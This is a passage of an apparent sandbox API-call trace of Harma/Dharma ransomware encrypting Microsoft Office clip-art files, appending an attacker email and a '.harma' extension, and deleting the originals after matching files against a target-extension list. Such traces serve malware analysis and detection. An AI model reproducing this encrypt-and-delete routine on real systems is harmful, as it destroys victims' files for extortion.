Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0162.986] lstrlenW (lpString=".1cd") returned 4 [0162.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0162.986] lstrlenW (lpString=".jpg") returned 4 [0162.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.986] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0162.987] lstrlenW (lpString="J0099174.WMF") returned 12 [0162.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.987] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=6214) returned 1 [0162.987] CloseHandle (hObject=0x398) returned 1 [0162.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 0x20 [0162.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.988] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.988] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0163.391] GetLastError () returned 0x0 [0163.391] ReadFile (in: hFile=0x398, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1846, lpOverlapped=0x0) returned 1 [0163.393] WriteFile (in: hFile=0x33c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1850, lpOverlapped=0x0) returned 1 [0163.394] ReadFile (in: hFile=0x398, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0163.394] WriteFile (in: hFile=0x33c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0163.394] SetEndOfFile (hFile=0x33c) returned 1 [0163.394] CloseHandle (hObject=0x33c) returned 1 [0163.394] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.394] SetEndOfFile (hFile=0x398) returned 1 [0163.399] CloseHandle (hObject=0x398) returned 1 [0163.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0164.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0164.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0164.245] lstrlenW (lpString=".doc") returned 4 [0164.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.245] lstrlenW (lpString=".docx") returned 5 [0164.245] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0164.245] lstrlenW (lpString=".pdf") returned 4 [0164.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.246] lstrlenW (lpString=".xls") returned 4 [0164.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.246] lstrlenW (lpString=".xlsx") returned 5 [0164.246] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0164.246] lstrlenW (lpString=".ppt") returned 4 [0164.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0164.246] lstrlenW (lpString=".zip") returned 4 [0164.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.246] lstrlenW (lpString=".rar") returned 4 [0164.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.246] lstrlenW (lpString=".bz2") returned 4 [0164.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.246] lstrlenW (lpString=".7z") returned 3 [0164.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0164.246] lstrlenW (lpString=".dbf") returned 4 [0164.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0164.246] lstrlenW (lpString=".1cd") returned 4 [0164.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0164.246] lstrlenW (lpString=".jpg") returned 4 [0164.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0164.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0164.247] lstrlenW (lpString=".doc") returned 4 [0164.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.247] lstrlenW (lpString=".docx") returned 5 [0164.247] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0164.247] lstrlenW (lpString=".pdf") returned 4 [0164.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.247] lstrlenW (lpString=".xls") returned 4 [0164.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.247] lstrlenW (lpString=".xlsx") returned 5 [0164.247] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0164.247] lstrlenW (lpString=".ppt") returned 4 [0164.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0164.247] lstrlenW (lpString=".zip") returned 4 [0164.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.247] lstrlenW (lpString=".rar") returned 4 [0164.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.247] lstrlenW (lpString=".bz2") returned 4 [0164.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.247] lstrlenW (lpString=".7z") returned 3 [0164.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0164.247] lstrlenW (lpString=".dbf") returned 4 [0164.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0164.248] lstrlenW (lpString=".1cd") returned 4 [0164.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0164.248] lstrlenW (lpString=".jpg") returned 4 [0164.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.248] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0164.248] lstrlenW (lpString="J0099185.JPG") returned 12 [0164.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0164.249] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3282) returned 1 [0164.249] CloseHandle (hObject=0x364) returned 1 [0164.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 0x20 [0164.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0164.250] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.250] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0164.251] GetLastError () returned 0x0 [0164.251] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xcd2, lpOverlapped=0x0) returned 1 [0164.282] WriteFile (in: hFile=0x378, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xce0, lpOverlapped=0x0) returned 1 [0164.283] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.283] WriteFile (in: hFile=0x378, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0164.284] SetEndOfFile (hFile=0x378) returned 1 [0164.284] CloseHandle (hObject=0x378) returned 1 [0164.284] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.284] SetEndOfFile (hFile=0x364) returned 1 [0164.287] CloseHandle (hObject=0x364) returned 1 [0164.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0164.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0164.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0164.289] lstrlenW (lpString=".doc") returned 4 [0164.289] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.289] lstrlenW (lpString=".docx") returned 5 [0164.290] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0164.290] lstrlenW (lpString=".pdf") returned 4 [0164.290] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.290] lstrlenW (lpString=".xls") returned 4 [0164.290] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.290] lstrlenW (lpString=".xlsx") returned 5 [0164.290] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0164.290] lstrlenW (lpString=".ppt") returned 4 [0164.290] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0164.290] lstrlenW (lpString=".zip") returned 4 [0164.290] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.290] lstrlenW (lpString=".rar") returned 4 [0164.290] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.290] lstrlenW (lpString=".bz2") returned 4 [0164.290] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.290] lstrlenW (lpString=".7z") returned 3 [0164.290] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0164.290] lstrlenW (lpString=".dbf") returned 4 [0164.290] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0164.290] lstrlenW (lpString=".1cd") returned 4 [0164.290] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0164.290] lstrlenW (lpString=".jpg") returned 4 [0164.291] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0164.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0164.291] lstrlenW (lpString=".doc") returned 4 [0164.291] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.291] lstrlenW (lpString=".docx") returned 5 [0164.291] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0164.291] lstrlenW (lpString=".pdf") returned 4 [0164.291] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.291] lstrlenW (lpString=".xls") returned 4 [0164.291] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.291] lstrlenW (lpString=".xlsx") returned 5 [0164.291] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0164.291] lstrlenW (lpString=".ppt") returned 4 [0164.292] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0164.292] lstrlenW (lpString=".zip") returned 4 [0164.292] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.292] lstrlenW (lpString=".rar") returned 4 [0164.292] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.292] lstrlenW (lpString=".bz2") returned 4 [0164.292] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.292] lstrlenW (lpString=".7z") returned 3 [0164.292] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0164.292] lstrlenW (lpString=".dbf") returned 4 [0164.292] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0164.292] lstrlenW (lpString=".1cd") returned 4 [0164.292] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0164.292] lstrlenW (lpString=".jpg") returned 4 [0164.292] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.292] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0164.293] lstrlenW (lpString="J0099188.JPG") returned 12 [0164.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0164.293] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=9080) returned 1 [0164.293] CloseHandle (hObject=0x364) returned 1 [0164.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 0x20 [0164.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0164.294] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.294] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0165.703] GetLastError () returned 0x0 [0165.703] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x2378, lpOverlapped=0x0) returned 1 [0165.709] WriteFile (in: hFile=0x3a4, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2380, lpOverlapped=0x0) returned 1 [0165.710] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.710] WriteFile (in: hFile=0x3a4, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0165.710] SetEndOfFile (hFile=0x3a4) returned 1 [0165.710] CloseHandle (hObject=0x3a4) returned 1 [0165.710] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.710] SetEndOfFile (hFile=0x364) returned 1 [0165.713] CloseHandle (hObject=0x364) returned 1 [0165.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0165.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0165.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0165.714] lstrlenW (lpString=".doc") returned 4 [0165.714] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.714] lstrlenW (lpString=".docx") returned 5 [0165.715] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0165.715] lstrlenW (lpString=".pdf") returned 4 [0165.715] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.715] lstrlenW (lpString=".xls") returned 4 [0165.715] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.715] lstrlenW (lpString=".xlsx") returned 5 [0165.715] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0165.715] lstrlenW (lpString=".ppt") returned 4 [0165.715] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0165.715] lstrlenW (lpString=".zip") returned 4 [0165.715] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.715] lstrlenW (lpString=".rar") returned 4 [0165.715] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.715] lstrlenW (lpString=".bz2") returned 4 [0165.715] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.715] lstrlenW (lpString=".7z") returned 3 [0165.715] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0165.715] lstrlenW (lpString=".dbf") returned 4 [0165.715] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0165.715] lstrlenW (lpString=".1cd") returned 4 [0165.715] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0165.715] lstrlenW (lpString=".jpg") returned 4 [0165.715] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0165.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0165.715] lstrlenW (lpString=".doc") returned 4 [0165.716] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.716] lstrlenW (lpString=".docx") returned 5 [0165.716] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0165.716] lstrlenW (lpString=".pdf") returned 4 [0165.716] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.716] lstrlenW (lpString=".xls") returned 4 [0165.716] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.716] lstrlenW (lpString=".xlsx") returned 5 [0165.716] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0165.716] lstrlenW (lpString=".ppt") returned 4 [0165.716] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0165.716] lstrlenW (lpString=".zip") returned 4 [0165.716] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.716] lstrlenW (lpString=".rar") returned 4 [0165.716] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.716] lstrlenW (lpString=".bz2") returned 4 [0165.716] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.716] lstrlenW (lpString=".7z") returned 3 [0165.716] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0165.716] lstrlenW (lpString=".dbf") returned 4 [0165.716] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0165.716] lstrlenW (lpString=".1cd") returned 4 [0165.716] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0165.716] lstrlenW (lpString=".jpg") returned 4 [0165.716] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.717] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0165.717] lstrlenW (lpString="J0099190.JPG") returned 12 [0165.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.038] 